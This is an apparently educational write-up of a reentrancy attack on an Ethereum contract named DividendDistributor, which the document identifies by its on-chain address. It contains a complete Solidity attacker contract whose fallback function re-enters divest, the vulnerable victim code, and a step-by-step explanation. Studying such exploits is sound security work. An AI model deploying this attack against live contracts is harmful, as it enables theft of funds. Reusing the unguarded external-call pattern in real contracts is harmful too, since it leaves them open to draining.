Attack 03¶
Contract Name
DividendDistributor
Contract Address
0x7bc51b19abe2cfb15d58f845dad027feab01bfa0
Transaction Count
6
Invovled Ethers
1.6 Ethers
Length of the Call Chain
2 internal function calls, 1 external function
Victim Function
loggedTransfer
Attack Mechanisim
Attack code:
contract Attack{
DividendDistributor d = new DividendDistributor();
uint bigamount = 1;
constructor() payable {}
function register() public {
d.invest.value(10)();
}
function attack(uint amount) public {
d.divest(amount);
}
function() payable{
d.divest(bigamount);
}
function getvalue() returns (uint) {
return this.balance;
}
}
Attacked code:
contract DividendDistributor is Ownable{
struct Investor {
uint investment;
uint lastDividend;
}
mapping(address => Investor) investors;
uint public minInvestment;
uint public sumInvested;
uint public sumDividend;
function loggedTransfer(uint amount, bytes32 message, address target, address currentOwner) protected
{
if(! target.call.value(amount)() )
throw;
Transfer(amount, message, target, currentOwner);
}
function invest() public payable {
if (msg.value >= minInvestment)
{
investors[msg.sender].investment += msg.value;
sumInvested += msg.value;
// manually call payDividend() before reinvesting, because this resets dividend payments!
investors[msg.sender].lastDividend = sumDividend;
}
}
function divest(uint amount) public {
if ( investors[msg.sender].investment == 0 || amount == 0)
throw;
// no need to test, this will throw if amount > investment
investors[msg.sender].investment -= amount;
sumInvested -= amount;
this.loggedTransfer(amount, "", msg.sender, owner);
}
// OWNER FUNCTIONS TO DO BUSINESS
function distributeDividends() public payable onlyOwner {
sumDividend += msg.value;
}
function doTransfer(address target, uint amount) public onlyOwner {
this.loggedTransfer(amount, "Owner transfer", target, owner);
}
function setMinInvestment(uint amount) public onlyOwner {
minInvestment = amount;
}
function () public payable onlyOwner {
}
...
}
In this attack, we need to register the investors
array first in order to guarantee we can pass the if
condition in victim function divest
. We send ethers to the victim function to add some balances to variable sumInvested
.
The attack process starts with function attack
in the attacker’s contract. It transacts with victim contract by calling divest
function. The if
check doesn’t work due to our preliminary efforts. The running process goes to statement this.loggedTransfer();
and calls an internal function loggedTransfer
. In this function, it does transaction first, however, the transaction target and the amount rely on the function arguments without any check. The transaction operation will call the fallback function in attacker’s code. That’s why we set an divest
call in there. Hence, a function call loop is built. We successfully achieved Reentrancy attack.